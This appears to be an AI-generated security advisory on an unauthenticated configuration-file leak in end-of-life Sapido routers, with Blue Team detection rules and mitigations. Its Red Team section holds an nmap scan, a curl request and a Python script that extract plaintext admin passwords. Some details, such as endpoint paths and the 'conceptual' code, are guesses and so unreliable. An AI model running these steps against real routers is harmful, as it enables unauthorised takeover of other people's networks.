CVE-2025-6560

Executive Summary

CVE-2025-6560 exposes a critical information disclosure vulnerability in multiple Sapido wireless router models. An unauthenticated, remote attacker can directly access a system configuration file, retrieving plaintext administrator credentials. The affected devices are End-of-Life (EOL) and no longer supported by the vendor. No patch is available. The only recommended mitigation is device replacement. This vulnerability poses a high risk to network integrity and confidentiality, as it allows immediate administrative takeover of the router.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base) but assessed as High (7.5) based on impact.
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)
• Threat Level: Critical for network security. Immediate exploitation possible.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of Sapido routers. The device exposes a configuration file (e.g., /config.cfg, /backup.cfg, or similar) without authentication. This file contains the administrator password in plaintext. An attacker can simply send an HTTP GET request to the vulnerable endpoint and parse the response to extract credentials.

Root Cause: Lack of access control on sensitive configuration endpoints. The web server does not enforce authentication for reading the configuration file.

Attack Flow:

1. Attacker identifies a Sapido router on the network (e.g., via Shodan or local scanning).
2. Attacker sends a request to the vulnerable endpoint (e.g., http://<router-ip>/config.cfg).
3. The router responds with the configuration file containing the admin password in plaintext.
4. Attacker logs in to the router's admin interface with the extracted credentials.
5. Attacker can then modify DNS settings, exfiltrate traffic, or pivot to internal networks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The router's web server likely serves the configuration file without any authentication check.

# Vulnerable pseudo-code
@app.route('/config.cfg')
def get_config():
    return send_file('config.cfg')

Patched Code (Conceptual): A patched version would require authentication before serving the file.

# Patched pseudo-code
@app.route('/config.cfg')
@login_required
def get_config():
    return send_file('config.cfg')

Since no patch exists, the vulnerable code remains in production.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Use a vulnerable Sapido router (e.g., BR-100, BR-200 series) or a firmware emulator (e.g., QEMU, Firmadyne).
• Attacker machine: Kali Linux with curl, wget, or a web browser.

Exploitation Steps:

1. Scan for Sapido routers on the network:

   nmap -p 80,8080,443 --open -sV 192.168.1.0/24
   

2. Attempt to access the configuration file:

   curl http://192.168.1.1/config.cfg
   

3. If successful, parse the output for the admin password (e.g., admin:password123).
4. Log in to the router's web interface using the credentials.

Automated Exploit (Python):

import requests
import re

target = "http://192.168.1.1"
config_url = target + "/config.cfg"

try:
    r = requests.get(config_url, timeout=5)
    if r.status_code == 200:
        # Look for password pattern (adjust regex as needed)
        match = re.search(r'password\s*=\s*(\S+)', r.text, re.IGNORECASE)
        if match:
            print(f"Password found: {match.group(1)}")
        else:
            print("Password not found in expected format.")
    else:
        print(f"Failed to retrieve config. Status: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests to /config.cfg, /backup.cfg, or similar paths.
• Alert on successful retrieval of configuration files from routers.
• Use network segmentation to isolate router management interfaces.

Mitigation:

• Replace all EOL Sapido routers with supported models.
• If replacement is not immediate, restrict access to the router's web interface to trusted IPs only.
• Disable remote management if not required.
• Change default credentials and use strong passwords.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /config.cfg, /backup.cfg, /settings.cfg, or similar paths.
  • Outbound connections from the router to unknown IPs after exploitation.
  • Unusual DNS queries (e.g., to attacker-controlled domains).

• File IOCs:

  • Configuration file containing plaintext passwords (e.g., admin:password).
  • Modified router firmware or configuration.

• Behavioral IOCs:

  • Unauthorized admin logins to the router.
  • Changes to DNS settings, firewall rules, or port forwarding.

Detection Engineering

YARA Rule

rule Sapido_Config_Exposure {
    meta:
        description = "Detects Sapido router configuration file exposure"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6560"
    strings:
        $config_path = "/config.cfg" nocase
        $backup_path = "/backup.cfg" nocase
        $password_field = "password" nocase
    condition:
        any of ($config_path, $backup_path) and $password_field
}

Sigma Rule

title: Sapido Router Configuration File Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to access Sapido router configuration files
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-path:
            - '/config.cfg'
            - '/backup.cfg'
            - '/settings.cfg'
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"Sapido Router Config File Access Attempt"; flow:to_server; content:"GET"; http_method; content:"/config.cfg"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace all affected Sapido routers with supported, patched models.
2. If replacement is not possible, isolate the router from the internet and restrict management access to a dedicated management VLAN.
3. Disable remote administration (WAN-side access) on the router.
4. Change the admin password immediately, even though it may be re-exposed.
5. Monitor logs for unauthorized access attempts.

Long-Term Actions:

• Implement a vendor lifecycle management process to track EOL devices.
• Use network segmentation to separate IoT/legacy devices from critical assets.
• Deploy intrusion detection systems (IDS) to detect exploitation attempts.
• Conduct regular vulnerability assessments of network infrastructure.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.